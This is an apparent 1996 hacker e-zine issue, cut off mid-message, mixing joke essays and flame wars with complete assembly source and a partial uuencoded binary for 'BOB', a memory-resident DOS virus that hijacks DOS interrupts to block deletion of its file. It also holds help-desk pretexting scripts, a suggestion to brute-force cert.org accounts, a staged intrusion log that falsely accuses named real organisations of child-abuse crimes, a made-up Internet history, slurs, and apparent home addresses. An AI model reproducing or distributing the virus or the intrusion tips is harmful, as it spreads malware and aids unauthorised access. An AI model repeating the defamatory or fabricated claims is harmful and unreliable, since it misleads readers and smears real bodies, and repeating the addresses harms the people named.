quarantined dementia issue number 2 spring 1996 "My life sucks. I am pathetic, and I thought I'd bitch about it in a poem. You don't understand me, You can NEVER understand ME. You are a filthy uneducated pig. Always attempting to understand, but never actually doing it. To hell with you, let me be alone. My life sucks." - Anonymous QD Leader QD is back and better than ever. (Notice better is relative) We're slapin' some new improved bull shit straight in your direction. Some people may wonder what QD is about and why the hell the contributors don't have lives. The answer is simple- we don't know either. So instead of wasting our time doing nothing, we waste your time writing stuff that you will read. Yes, reading is not an option. You have to read this. Human curiosity will not let you not read this. For example- There might be something you want to read somewhere in this QD magazine. If you don't read it you will never know. But since you now have a copy of QD (you are reading this, right?) you have the ability to find anything you might want to read. Just think, somewhere deep inside this text you might stumble upon a piece of information that you wanted to know, but didn't know it. If that doesn't make you want to read this, then don't. Be warned if you don't though, because if not, you could very posibly not be a human. And if that's the case, the QD staff doesn't WANT you to read this. In fact, all aliens on this planet can go back to where they came from and stop bothering us. We don't like you guys! Don't experiment with us! Don't fly your saucers in our nice skies! Don't use my dogs brain waves for fuel! If you guys were nice aliens you wouldn't do that stuff! Stop it! ANYWAYS.. Welcome to QD #2.. (BTW, please don't discorporate while reading this.. We have had several complaints from the feds on this topic.. (ie- discorporate about an hour afterwards so they can't connect it with us..) We'd really appreciate it.. thanks..) -destacona (dest.acona@net-link.com) Send any submissions to the previous address (and then you too can be a member!) NOTE: They cannot be anonymous! member list /\ |/\| editor - destacona |/\| leader - quasimodo |/\| -"what the hell is members - aFterthought |/\| that?" danneskjold /|/\|\ dante |_|__|_| ingenitor /||\ anon |.--.| / -||- \ figure one ----------------------------------------------------------------------------- - Quarantined Dementia issue 2 - The zine not afraid to use the word "existential." index i. Disclaimer - Some QD people 1. History of the Internet - Anon 2. BOB! A very happy resident virus - Ingenitor 3. Social Engineering Techniques - Anon 4. "Computer Class" - Anon 5. Ten steps to take over the world - Ingenitor 6. A Glimpse of a Hacker - Ingenitor 7. Warez Kiddiez - Anon 8. Some random shit - Yossarian & Afterthought 9. Elite ways to get Coke - Destacona 10. Quarantined Dementia Faq - QD Staff 11. The Elite QD rap - Anon AGAIN -- QURANTINED DEMENTA IS NOT SPEEL CHECKED IN ANYWAY. BELEIVE IT. -- ----------------------------------------------------------------------------- Disclaimer Things described in this magazine are in no way useful or are in no way to be used as a useful source of information. QD is a magazine about nothing or something, maybe. Sometimes there are useful things that can be gleamed from this magazine, if so, use them wisely. All postings about virii or similar programs are to be used as is and may not be distributed in normal ways. (This should not be a problem.) Also any use of virii or similar programs recorded in this issue of QD are not the responsiblity of the QD staff or and members affiliated with QD at the specified release data. Any modifications or additions are welcomed and should be sent to us immediately, it is your one duty to this magazine. You may read and distribute this copy of QD2 as long as you follow these simple guidelines: 1) After 30 days if you do not like the magazine it will become angry and format your harddrive. 2) After 30 days if you do like the magazine it may flare up anyways and format your harddrive. 3) Do not modify or corrupt or allow an incomplete transmission of our magazine; otherwise bad things may or may not occur. 4) Upon recieving this issue of QD, you have to read the disclaimer and understand it completly before engaging yourself into reading this magazine. 5) If you decide to distribute this magazine no money or barter or trade of any kind will be tolerated. The only amount of compensation that is allowable is $5.00 or less for a disk, or shipping, or CD, or charity, or donnatation, or one's school or college fund. 6) Whatever you do, be proud of yourself for you have become a valued member of a team of people helping out a team of writers with too much time on their hands. Upon receiving info that you liked our magazine, future releases may or may not be sent to you. This may or may not be our way of appreciating your enjoyment of our magazine. The members or QD are hereby not responsible for any damage or lose of your information, data, disk drives, sex life, hard drive, tape backup, keyboard, alarm clock, disk(ettes), or any hardware or software appliance that might be in, near, or around your computer. The members of QD are also not responsible for your computer either! If this magazine screws up or fowls up your computer in any way, the members of QD are not responsible for hours of technical phone calls and/or expenses due to phone calls. The members of QD are also not responsible for any damage to any periphial connected in or around your computer. The members of QD are also not responsible for you buying a Mac or some other operatating system and cannot read this magazine. The members of QD are also not responsible for any tears shed on the keyboard and/or sudden electricution or fire that could occur after tears hitting expensive or explosive hardware/software. And futhermore, the members of QD are not responsible, the members of QD repeat, not responsible. QD Staff Thank you, and enjoy our magazine. FUCK YOU FUCK YOU FUCK YOU FUCK YOU FUCK YOU SHIT ON YOU FUCK YOU DAMMIT! ----------------------------------------------------------------------------- HISTORY OF INTERNET The internet was programmed by Bill Gates in late 1984. It is contained on a huge computer somewhere in Colorado. All of the local phone numbers you call connect via bouncing the laser signals off the moon to the computer in Colorado. To confuse all the DOS users, Internet's OS is something called UNIX. LOGGING ON THRU UTK 1). Type 'c duncan' Provided you have an account, you are then on the internet. 2). Type 'c telnet' After you do this, you can say 'open duncan.utk.edu'. Then you will be logged onto Duncan. Once again, you need an account. Also, you must supply the IP address to get to non-local servers. 3). Type 'c library' This will connect you to the WWW. Unfortuneately, UTK has recently removed the 'G' option which would enable you to get to any site. However, there are still ways. If you are just looking for a WWW page, you can still access those using the search engines. Also, you may search for 'VERONICA'. Once there, you can search gopher space for 'Telnet Resources', once you get the results (you'll have to keep trying until you get through), go into one of the DIRs labeled 'Telnet Resources' and look for the 'Open Telnet' option. From there, it should be obvious. [editors note: This is slower than all the busses in the world combined.] BASIC UNIX COMMANDS ls List files in current directory -l option will list all info on the files -a option will list all hidden files rm Removes a file -r option will delete all files in all sub directories. (kinda like DOS's deltree) mkdir Makes a DIR rmdir Removes a DIR who Lists who is online cat Displays a file ypcat Another way to display files, ;) more Lists files with a pause write Writes a message to another user online chmod Changes the mode of a file o=other u=owner g=group x=executable r=read w=write Examples: chmod a+w (gives all people write privs) chmod a-r (takes away read privs from all) ps Lists processes -u option allows you to look at user's processes -l option lists 'long' info -f option lists 'full' info kill Kills a process -9 option will kill the process immediately pwd Lists your location passwd Change your passwd env Lists your environment variables su Sends cookies thru your phone line. Great fun. Do it often. rlogin Lets you log onto other computers specified in your /.rhosts telnet Opens a Telnet session ncftp Opens a ftp connection, a little more convenient than normal FTP open Will open a site get Will get the specified file mget Will get all the specified files (mget *.* will get EVERY file) 'cd' will change DIRs 'ls' will list files 'more' will let you read a text file irc Connect to Internet Relay Chat. YAY! lynx Connect to the WWW WAYS TO PISS OFF OTHER USERS ONLINE Well...every once in awhile you want to piss someone off. This can be fun and very productive. ;) write This will let you write messages to other users. banner | write Will display in HUGE letters on 's screen. This is also annoying. cat | write Will display a binary file on THEIR screen. This is very annoying, as you can imagine. Some Cool Sites To Explore -------------------------- http://www.happypuppy.com - really cool shareware games and stuff. http://www-personal.engin.umich.edu/~jgotts/underground.html-INET underground ftp.cdrom.com ftp.fc.net ftp.leo.org 146.155.1.16 ftp.giga.or.at http://www.lycos.com - Web Searcher http://www.yahoo.com - Another Web Searcher cert.org - Just keep trying accounts, they won't mind http://metacrawler.cs.washington.edu:8080 DISCLAIMER- QD does not take responsibility for any usage of the information in this article. Blah blah blah. Also, QD does not take credit for any info in this article. ----------------------------------------------------------------------------- -= BOB! A very happy resident virus =- May not be anything new, but this little guy has some fun with dos. Actually it screws dos into thinking that anything named BOB.COM is really named BAB.COM. When bob takes it's grip it doesn't let go. In other words, you can't delete bob! YES! Hail BOB. BOB ro0lz. BOB will not relent! (Sorry, I gets carried away sometimes) Well here is the source to BOB, long live BOB. -- [Release Two, Version 1.01á] .286 _TEXT segment para public use16 'CODE' assume ds:_TEXT, cs:_TEXT org 100h bob_start: jmp begin ;hey,this be the beginning or is it the ;end. I don't know, stop talking! _stack db 32 dup(?) ;arrrghhhh? what the hell! _old_21h_seg dw ? ;place to save the old seg to jmp l8r _old_21h_ofs dw ? ;place to save the old ofs to jmp l8r _terminate db 0CDh, 020h ;ohho haha HAHA HEHE HEHEheheheha, etc. ;um... sorry, no real reason here. _bob_str db 0, 'bob.com', 0 ;even when backwards, bob is still ;bob. no real reason here either. _clear db ? ;A little Clear Flag, cool eh? new_int_21h: cmp ah, 041h ;hey, someone tried to git rid of me je bob_cant_go ;no, bob CAN'T go, hehehehe, uuggghh! cmp ax, 0CABBh ;is we here yet, si senor je stupid_reqst ;yep senor, we here jmp say_byte_me ;byte me (or go to dos) stupid_reqst: cmp bx, 0BAABh ;wow, little too close,had to make sure je say_bye ;we were here, just little redunantcy jmp say_byte_me ;byte me again (no darnit, go to dos) say_bye: mov bx, 0100h say_byte_me: push cs:[_old_21h_seg] ;getting pushy aren't we push cs:[_old_21h_ofs] retf ;cya sometime around dos bob_cant_go: pushf ;getting pushy again, whoa! pusha push ax push bx push cx push dx push si push di push es push ds push bp mov ax, cs ;having fun with segments mov es, ax ;es has to be the same as cs lea di, cs:[_bob_str + 7] ;load bob at end of string mov si, dx ;dx is the place the asciiz name ;is put when dos is asked to delete ;a phile find_end: lodsb ;okay, find the end of the path or al, al ;check for zero jz found_end ;q. found? jmp find_end ;a. no, so jmp back to beginning found_end: mov al, ds:[si - 9] ;think hard, 'bob.com, 0' is 8 chars cmp al, '\' ;so the slash is at 9 right? (yes) ;even if the sent path contains a name ;longer than 'bob.com, 0', it ;will fail the slash test, and then ;it will be loaded to the beginning ;of the path_str, (ie 'c:\bc\today.com') ;by the time it hits the colon the test ;will fail and the path will be un- ;changed. (Wheuu!, didn't even take a ;breath!)... jne no_clr_slash ;q. slash found? xor al, al ;a. no, so fall thru mov ds:[si - 9], al ;make slash a zero dec si ;find the very last byte of the asciiz dec si ;past the zero (asciiZ) [think hard] std ;set the direction to count down mov al, 1 ;save the direction status mov cs:[_clear], al ;in var _clear jmp cleared_slash ;okay. we cleared the slash, jmp ;must have not been a slash to clear, so no_clr_slash: cld ;clear the dir flag xor al, al ;and store it in _clear mov cs:[_clear], al ;got it? lea di, cs:[_bob_str + 1] ;now load str after the leading zero mov si, dx ;and load path at beginning cleared_slash: xor ax, ax ;well the slash was or wasn't cleared mov bx, ax ;so start the unsigned compare mov cx, 617Ah ;61='A',7A='a' for compare next_char: lodsb ;get first or last byte depending on mov bl, es:[di] ;dir flag, get byte from bob_str too or al, al ;q. zero? jz icmp_end ;a. yep, so end scasb ;q. zero in es:[di] je next_char ;a. nope, so read in next char ; yep, so do the unsigned compare icmp_al_upr: cmp al, ch ;q. is below 'a' jb icmp_bl_upr ;a. yep so test bl cmp al, cl ;q. is above 'A' ja icmp_bl_upr ;a. yep so test bl sub al, 'a' - 'A' ;otherwise sub 32 to upper case it icmp_bl_upr: cmp bl, ch ;q. is below 'a' jb icmp_again ;a. yep so do compare when upper cased cmp bl, cl ;q. is above 'A' ja icmp_again ;a. yep so do compare when upeer cased sub bl, 'a' - 'A' ;otherwise sub 32 to upper case it icmp_again: cmp al, bl ;do upper cased compare je next_char ;is equal, find next char icmp_end: sub ax, bx ;do final unsigned subtract or ax, ax ;test ax jz change_bob ;q. is ax zero jmp pop_er ;a. yeah, so trash bob so you can't ; delete it. change_bob: mov al, cs:[_clear] ;test the clear flag or al, al jz clr_run ;q. is zero, modify when cld'd mov byte ptr ds:[si + 3], 'A' ;load the middle with 'A',so you mov byte ptr ds:[si + 1], '\' ;get bAb.com, then load a slash jmp pop_er ;where it was deleted earlier ;start restor'n vars clr_run: mov byte ptr ds:[si - 7], 'A' ;well, so there was not slash ;so we went forw'd and now we modify ;bob.com from where the slash would have ;been. (GOT it?) I thought so! pop_er: mov al, cs:[_clear] ;well since we had to clear the slash or al, al ;to even test the stupid string we have jz finish_int ;to clean up if necessary. (got it?) last_loop: lodsb ;well now a nasty situation has occured or al, al ;where the test has failed and the slash jz add_slash ;has been removed, so find the place by jmp last_loop ;searching for the zero that now takes ;its place and then put a slash there. add_slash: mov byte ptr ds:[si + 1], '\' finish_int: pop bp ;well, here we go again with pop'n. pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popa popf jmp say_byte_me ;well, jmp back to the original dos int ;so it will find the bAb.com instead of ;bob.com, cool eh? begin: mov ax, cs ;the place where it all starts. mov ds, ax ;setup the data seg and the stack mov sp, offset _stack + size _stack mov ax, 0CABBh ;now do an installation check mov bx, 0BAABh ;to see if we are already here. int 21h cmp bx, 0100h ;q. is we been here already? je exuent_bob ;a. yep, exit bob ; nope, load bob... mov ax, 3521h ;dos cmd for getting vectors int 21h ;now screw dos over, find it's vectors. ;and save em (below). mov ds:[_old_21h_ofs], bx mov ds:[_old_21h_seg], es push ds ;save ds for l8r... mov ax, ds ;get the MCB by sub'n the original ds dec ax ;by one. mov ds, ax mov bx, ds:[3] ;get the size of my programs allocated ;memory. pop ds ;reload ds mov ax, cs ;put the codeseg into es mov es, ax ;where dos can find it mov ah, 4Ah ;dos func for setting mem block size sub bx, (offset begin - offset bob_start + 15) / 16 + 1 sub bx, 16 ;allocate sizeof bobcode and a PSP int 21h mov ah, 48h ;now allocate the memory mov bx, (offset begin - offset bob_start + 15) / 16 add bx, 16 ;calculate PSP and bobcode length int 21h ;now screw dos over dec ax ;now find MCB of newly allocated mov es, ax ;block o mem. mov byte ptr es:[1], 8 ;say i'm dosblock o mem now... hehehehe inc ax ;get original seg of new mem. mov es, ax mov si, offset bob_start ;load si with the beginning of bob mov di, 100h ;load di with the beginning of mem mov cx, (offset begin - offset bob_start) ;get length mov ax, cs ;cs=ds mov ds, ax cld ;setup to inc di & si rep movsb ;with blasting speed copy bob to himem. mov ax, es ;es=ds, so dos can find it mov ds, ax mov dx, offset new_int_21h ;the beginning of our happy bobcode mov ax, 2521h ;tell dos to pack up and move out int 21h ;good ole dos, it learnt a new trick ;screw dos and have fun! hehehehe mov ax, cs mov ds, ax mov ah, 9 ;load banner and display lea dx, _bob_load_msg int 21h jmp around_msg exuent_bob: mov ax, cs mov ds, ax mov ah, 9 ;give error msg about bob being already lea dx, _bob_here_msg ;loaded. int 21h around_msg: mov al, byte ptr cs:[_terminate] mov byte ptr cs:[100h], al ;load first byte with CDh mov al, byte ptr cs:[_terminate + 1] mov byte ptr cs:[101h], al ;load sec byte with 20h mov ax, cs ;now push cs and ax push ax mov ax, 0100h push ax retf ;convert cs:ax -> cs:ip (cool eh?) _bob_load_msg db 'BOB v1.01á delete sentry virus loaded into high memory', 0Dh, 0Ah db 'Fashioned by Ingenitor!', 0Dh, 0Ah, '$' _bob_here_msg db 'Fool, you loaded BOB once, is not that enough for you', 0Dh, 0Ah, '$' _TEXT ends end bob_start -- begin 644 bob.com MZ?\`````````````````````````````````````````````````S2``8F]B M+F-O;0``@/Q!=!\]N\IT`^L-D('[J[IT`^L$D+L``2[_-B,!+O\V)0'+G&!0 M4U%25E<&'E6,R([`OS`!B_*L"L!T`NOYBD3W/%QU$3+`B$3W3D[]L`$NHC(! MZPV0_#+`+J(R`;\J`8OR,\"+V+EZ8:PFBAT*P'06EE;6&&=Z4K_C,B.V+PC`;B[RKNK MNLTA@?L``71FN"$US2&)'B4!C`8C`1Z,V$B.V(L>`P`?C,B.P+1*@^L2@^L0 MS2&T2+L1`(/#$,TA2([`)L8&`0`(0([`O@`!OP`!N0(!C,B.V/SSI(S`CMBZ M,P&X(27-(8S(CMBT";J@`LTAZPR0C,B.V+0)NO("S2$NH"2!);F=E;FET;W(A M#0HD1F]O;"P@>6]U(&QO861E9"!"3T(@;VYC92P@:7,@;F]T('1H870@96YO .=6=H(&9O Ok...so, that one didn't work so well...but some of these later ones are fool-proof! THEM: Hello, UTK Computer Science department. QD: Ok, thank you. My name is Robert K. Oot. I have reason to believe that someone has gotten a hold of my account. THEM: User name, please? QD: Root... THEM: Ok...please hold... QD: La la la la... THEM: Hey! Wait a second... Damn...so close...maybe next time... (DC = Dumb chick) DC: Like, hello? QD: Hello, this is the UTK campus security. We have reason to believe that someone has hacked into your computer account. DC: My, say what? QD: Your account on the UNIX server. Has your passwd always been 'sierra'? DC: Like, yuck! Stay away from me! I don't like eunechs! If you do this one..you might want to just say 'Your account on the happy shiny machines with keyboards". It might be a better idea. THEM: Hello, UTK Computer Science Department. QD: Hello, my name is Bill Smith, username bsmith. I have rea... THEM: Do you really think we are this stupid? QD: Yes. THEM: Hello, UTK Computer Science Department. QD: MUHAHAH! PHEAR QD! BOW TO.. THEM: You again? QD: What? How dare you? This is the president of the United States.. Hmmmm...perhaps we should take another angle... THEM: UTK Computer Science Department, can I help you? QD: Can I have root, puhleaze? THEM: Ok, sure. QD: Killer! I hope this article has been helpful. ----------------------------------------------------------------------------- Computer Class Pascal is an infantile, out-dated language. So, of course, when various members of the QD staff took a pascal course, they opted to test out and learn useful things on their own. So began the wonderous existence of the Independant C class. While the other bozos were learning pascal on monochrome 386sx's, we huddled around the school's new Pentium 75 in the back. We wrote various intros, applications, and occasionally did our other school work if we were really bored. Life was good. Then came....the network.. The incompetent city workers had been planning on setting up a network for several months. But we figured, "Hey, they're idiots...they'll never get around to it!" Unfortunatly, one day at the beginning of class, we were told that the pentium would be locked up, because the network would be installed the next day. Yeah right, we'll see about that! We began to lock up the computer. We put on BIOS passwds, locked out the a: drive, made the proper switches in the CONFIG.SYS, and wrote a password program that would reboot the computer if a bad password was typed in. Bad idea...later that day, one of us was called down to the office to fix the computer. Of course, he gladly admitted to the crime and fixed the computer. The next day the network was installed. A password was put on BIOS. A ctrl-break and ctrl-c detector was installed as a TSR. The actual network cord was taken to keep us from getting on. Damn, no way through, right? We then began to dismantle the pentium. Unfortuneatly, the battery was welded on, and we could not locate the proper jumper to take out the BIOS password. We then booted up the computer one last time. It sat at the end of a BATCH file, informing us of an error in the network(it not be plugged in and all). In a fit of randomness, someone hit ctrl-alt-sysrq-break. Whoa, it broke the batch file. HAHA! WE WIN AGAIN! We then began to search thru all the network stuff. We searched all the bat files and configurations to understand how the network worked. But, now, the city won't let us touch the computer anymore. Oh well, it was fun while it lasted. ----------------------------------------------------------------------------- -= Ten easy steps to take over the world =- During school and when i am home alone, i often wonder how i could take over the world in ten easy steps. i have not used the methods below due to sheer laziness. However, i have decided to publish my ten step plan to take over the world. Maybe someone out there is smart enough to carry out my plans. Step One The main ingredient in taking over the world is evil bunnies. These creatures are easy to find and abound in the millions. Catch about one hundred of them. Step Two In order to take over the world you also have to be smart enough to understand what the word "existential" means and how to spell it correctly, Step Three Now steal or find some liquid nitrogen and mix in a large vat the evil bunnies and the liquid nitrogen. When the bunnies are sufficiently frozen, store them in a large freezer. These animals are the turning point for taking over the world. Step Four Now go on a door knocking campaigne and get people to give money to a charity. Make up a flyer and pass it along. This should give you ample supplies of money. Step Five Now create a catchy slogan for when you speak to the public like "Support the world wide take over, don't do drugs" or something like that. Step Six Now with your dough and followers, cut the transatlantic communication lines. Build a small rocket to take out the communications satelites (see figure one). Step Seven Now with world having no communications what so ever, go to the white house and freeze the president and cabinet and congress with liquid nitrogen. Soon the USA will be at your command. Step Eight As president you have the ability to fire big dangerous evil missles at russia and where ever else you want to destroy. So talk to your spies in russia and the third world nuke sites. Now destroy the sites (your spies are expendable) Step Nine Now hirer all the militia and anarchystist groups so they can do something useful other that plan the take over of the world. Let them help you make tough decision and stuff. Step Ten Now thaw out the evil bunnies. (Also don't forget to wear your newly made Ph34r QD t-shirts, see order form below). ----------------------------------------------------------------------------- -= A Glimpse of a Hacker =- A typical day of hacking for the QD staff and friends. For the elite eyes only. The following is capture file taking by one of our better hackers. All inphormation is classfied as on a need to know basis, and you my friend need to know... Capture Opened At 11:30 pm March 1, 1996. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ \ From now on I will make comments with the character '\' in front of the \ line I make a comment on. This stuff is not to be typed in during an \ actual hack. \ First of all, every first of the month (ie, March 1), the sysadms take \ a little stroll to the donut shop to visit with their other sysadm friends \ from other UNIX sites. These little parties last about 5 hours starting \ around 11 pm to 4 am (most of the time, unless there is a fight). \ Basically they talk about all the hackers that they locked out of their \ system. Well here is what I did. Connecting ... DUMPCAN.SUX.ORG Computer Lab at dumpcan.sux.org. Running SUNOS v4.5 Login: sysadm Password: \ Just type passwd at the password prompt. Login 'sysadm' at 11:32 pm. Welcome System Adminstration... you have total access. unix> pwd /usr/sysadm unix> cd .. unix> cd .. unix> pwd / unix> banner sysadm hpyhack Creating account hpyhack Access 0:0 Shell /bin/csh Home /usr/hpyhack \ the banner program creates another account that is untraceable... \ as long as you have sysadm access. unix> cd /usr/hpyhack \ Now you've got the entire system by the balls. \ We really needed a place to put our philes, so now we got one. unix> ls ./ unix> md qd unix> md bow unix> md feh unix> md warez unix> cd qd unix> rz *.* Receiving *.*... **B00QD00000QD3020340302304209853 \ After the upload to the newly acquired account, we now have a distro site. unix> cd .. unix> cd bow unix> rz *.* Receving *.*... **B000QD000QD00302305309494094030 \ ... well you get the picture... \ now for some with the chocolate chip cookies... um su, can you get me \ a box of cookies... unix> su Password: iamcool su: Sorry unix> su Password: elite su: Sorry unix> su Password: root su: Sorry \ Damn...no luck with the cookies.. unix> cat .rhosts cert.org root ornl.gov root bellcore.com root \ Cool beans! unix> rlogin ornl.gov ornl> pwd /homes/root orln> cd / orln> pwd / orln> ls top.secret.doc ufo.info.txt conspiracy.doc top.secret.doc2 warez/ coverup.txt ornl> cd warez ornl> ls 0-day/ 0-week/ 1-day/ 1-week/ / I knew it! ORNL is really a warez site! ornl> rm -r * / muhahaha! ornl> cd .. ornl> ls top.secret.doc ufo.info.txt conspiracy.doc top.secret.doc2 warez/ coverup.txt / Well...none of that other stuff looks important.. ornl> cat > qd.txt Muhahahah...we are qd! Fear QD! ^D ornl> logout Connection Closed unix> \ Well that was fun... okay since there are some other cool rhosts... \ well just have to check em... unix> rlogin cert.org cert> pwd /etc/passwd/root cert> ls damn.hackers.list damn.phreakers.list list.of.agents control\ supermodels\ triple-XXX\ lost+found\ kiddie+porn\ advisorary\ \ Wow!... I knew it, those damn Computer Emergency Response Team are really \ perverted kiddie-porn distributers. Now we just gotta get our name on \ the scene and we can turn em in... cert> head damn.hackers.list Name Origin Status ECM Germany ACTIVE INGENITOR USA ACTIVE QUASIMODO Unknown UNKNOWN DESTACONA UnguBunga ACTIVE YOSSARIAN 418 PeaRidge Rd. Maryville, TN. 38703 BASIC DANNESKOLD You dont wanna know ACTIVE aFterthought Brazil (?) ACTIVE DANTE Afganistan (?) ACTIVE DURANGO 201 Walker Knoxville, TN. BUSTED cert> cd advisorary cert> ls -l Total 100 -rwxrwxrwx 50 qd-01.adv -rwxrwxrwx 1000 qd-02.adv -rwxrwxrwx 3000 qd-03.adv -rwxrwxrwx 9000 qd-04.adv -rwxrwxrwx 10000 qd-05.adv -rwxrwxrwx 12000 qd-06.adv -rwxrwxrwx 1006 qd-07.adv -rwxrwxrwx 1023 qd-08.adv -rwxrwxrwx 40000 qd-09.adv -rwxrwxrwx 31000 qd-10.adv -rwxrwxrwx 1000 qd-11.adv -rwxrwxrwx 2000 qd-12.adv -rwxrwxrwx 55000 qd-13.adv -rwxrwxrwx 99997 qd-14.adv -rwxrwxrwx 1002 qd-15.adv -rwxrwxrwx 100 qd-16.adv -rwxrwxrwx 1300 qd-17.adv -rwxrwxrwx 1500 qd-18.adv -rwxrwxrwx 1030 qd-19.adv -rwxrwxrwx 68 qd-20.adv -rwxrwxrwx 983432 qd.addendum.adv cert> cat qd-01.adv *** Cert Advisorary List 01-03-94 *** First apperance of QD... they should be no problem to handle. cert> cat qd-20.adv *** Cert Advisorary List 03-03-96 *** qd.addendum.adv file contains all information and capture files of the known qd hacks... please read this file carefully. (only 10000 of 200343 are known ... based on statistical analysis) QD has penetrated all the basic sites... Special Announcement... CERT has put out a national advisorary and added a bounty of $100,000 for the capture (dead or alive) of the members of QD each. Please be careful. These criminals are very advanced and can easily crack into any system... beware QD. cert> rm * cert> cd / cert> md qd cert> cd qd cert> cat > phear_qd_now ^D cert> cat > you_have_been_found_out_now ^D cert> cat > Ha_QD_r0olz_and_you_dont ^D cert> cat > F--King_Perverts ^D cert> logout Connection Closed by foreign host. unix> logout NO CARRIER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Capture Closed At 11:36 pm March 1, 1996. ----------------------------------------------------------------------------- -= Warez Kiddies =- "Noone ever says `I wanna be a courier when I grow up.'" The following is a loose recontruction of several conversations I have had with various local warez SysOps. AWK - Anonymous Warez Kiddie QD - Anon. Quarantined Dementia Staffer K-rad warez kiddie pulls you into chat.... AWK> y0y0y0! QD> uhhhhhh, yes? AWK> Wazzup? QD> Not much, just called to check you out. AWK> Are you on alot of warez boards? QD> No, not really... AWK> I just got a 6.1 gigs of 0-day warez off the internet. QD> Very impressive... AWK> I've collected 400 megs of h/p/a..!! QD> I'm sure you've read it too.. AWK> I'm getting a dual pentium 133 system with 4 28.8s for christmas! I'll be more k-r4D than all the people at my school put together.. QD> Must be a lot of cool people at middle school.. AWK> I'm affiliated with 14 couriering groups. QD> Wow... AWK> Have you ever made a virus? I'm the best with NLRG! I can even teach you if you want.. QD> No thanks.. AWK> Hey yea.. Hey! I haqd a WWiV board in k3NtUckee last month!! It was pretty kewl.. I used the arCHiV3 menu! QD> I'm sure it was.. AWK> I'm on this, like, really cool warez board in CA, you want the NUP? QD> No... AWK> Why n0t? QD> Uhhhh..gotta go... NO CARRIER We've all noticed it. The sudden plethora of warez boards appearing all over the place created by 13 year old SysOps whose rich daddies bought them 10 gigs of HD space and a brand new Pentium 120. They boast of their computer knowledge in terms of their hardware, their brilliant knowledge of DOS, and the dozens of WaReZ FTP sites they have been given by other people. They use fancy acronyms and brag of their beautiful ANSI drawings. The modern computer rush has given any kid with a new computer and a few connections access to every piece of software in existence. Some even have the nerve to call themselves hackers (although the usually spell it "haqr"). What a disgrace. Do the scene a favor, call the SPA at 1-800-388-PIR8. ----------------------------------------------------------------------------- The Yossarian & Afterthought Discussion Hour Dispite what THEY may have you believe, the following string of messages did exist. -- From: Yossarian Base : Private Mail To : Afterthought Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local A> Would you be willing to buy a paintball gun and play? Hell no.. I hate dodging those damn semi-bullits. °°±±²ÛÛ Yéëë’R³’N ÛÛ²±±°° -- From: Afterthought Base : Private Mail To : Yossarian Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local Y> Hell no.. I hate dodging those damn semi-bullits. Hmm mr. grammar you can really spell... ^^^^^^^ Oh and you know in Q-zar you really use real bullets...At least in paintball you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud... Afterthought -- From: Yossarian Base : Private Mail To : Afterthought Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local Note: Message forwarded from Afterthought Y> Hell no.. I hate dodging those damn semi-bullits. A> Hmm mr. grammar you can really spell... ^^^^^^^ Uh, you almost failed english didn't you? Grammar and spelling are 2 different things, but it takes both to speak correctly. A> Oh and you know in Q-zar you really use real bullets...At least in paintba A> you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wi A> wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud.. And You are fucking stupid.. I was saying I hate dodging the paint balls, cuz they sting like hell when you're hit. I never could get into the game... BTW, just to make you look really stupid, even thought I am hoping you were being sarcastic, ummm, Q-Zar doesn't use REAL bullets... And I know at least in paintball you get hit by something, thats the shole fucking point to my message you shit for brains-donkey dick! °°±±²ÛÛ Yéëë’R³’N ÛÛ²±±°° -- From: Afterthought Base : Private Mail To : Yossarian Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local Y> Hell no.. I hate dodging those damn semi-bullits. A> Hmm mr. grammar you can really spell... ^^^^^^^ Y> Y> Uh, you almost failed english didn't you? Grammar and spelling are 2 Y> different things, but it takes both to speak correctly. Y> A D- isn't failing...!­ Well I guess you cannot speak correctly 'cause you obviously can't spell...!­ A> Oh and you know in Q-zar you really use real bullets...At least in paintbal A> you get hit by something...wimp wimp wimp wimp wimp wimp wimp wimp wimp wim A> wimp wimp wimp wimp wimp wimp wimp wimp...Whoops did I say that out loud... Y> Y> And You are fucking stupid.. I was saying I hate dodging the paint balls, Y> they sting like hell when you're hit. I never could get into the game... But I thought you were a real man?¨ Would a little paintball hurt you?¨ If you were a real man like me it wouldn't matter 'cause you would never get hit... Y> BTW, just to make you look really stupid, even thought I am hoping you were Y> being sarcastic, ummm, Q-Zar doesn't use REAL bullets... You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW I was just needing somebody else to shoot at besides Zappa...the invitation still stands... Y> in paintball you get hit by something, thats the shole fucking point to my Y> message you shit for brains-donkey dick! Well the "shole" point to my message is that you are too DUMB and WEAK (not to mention scatophagous and pusillanimous) to admit that you are scared to play paintball... BTW are those words big enough for you?¨ °°±±²ÛÛŸ+äâÅh0—g×+ÛÛ²±±°° [ed note: neat k-funky colors!!!] Wow! Even I can do the colors...(AND extended ASCII!!!­­­) -- From: Yossarian Base : Private Mail To : Afterthought Refer #: None Subj: Re: Junction Replies: None Stat: Normal Origin : Local A> A D- isn't failing...!­ Well I guess you cannot speak correctly 'cause you A> obviously can't spell...!­ A> You idiot of course I was being sarcastic BTW, Q-Zar is a little faggoty A> game...every time I'm there I get Top GunùùùIt is so incredibly easy...BTW A> I was just needing somebody else to shoot at besides Zappa...the invitation A> still stands... Um, Mr. Hypocrite.. You can do neither, so shut the fuck up... A> °°±±²ÛÛŸ+äâÅh0—g×+ÛÛ²±±°° A> A> A> Wow! Even I can do the colors...(AND extended ASCII!!!­­­) Good, now make it consistant.. You have lowercase with uppercase. Do you know the diff. between line noise and regular text? °°±±²ÛÛ Yéëë’R³’N ÛÛ²±±°° -- From: Afterthought Base : 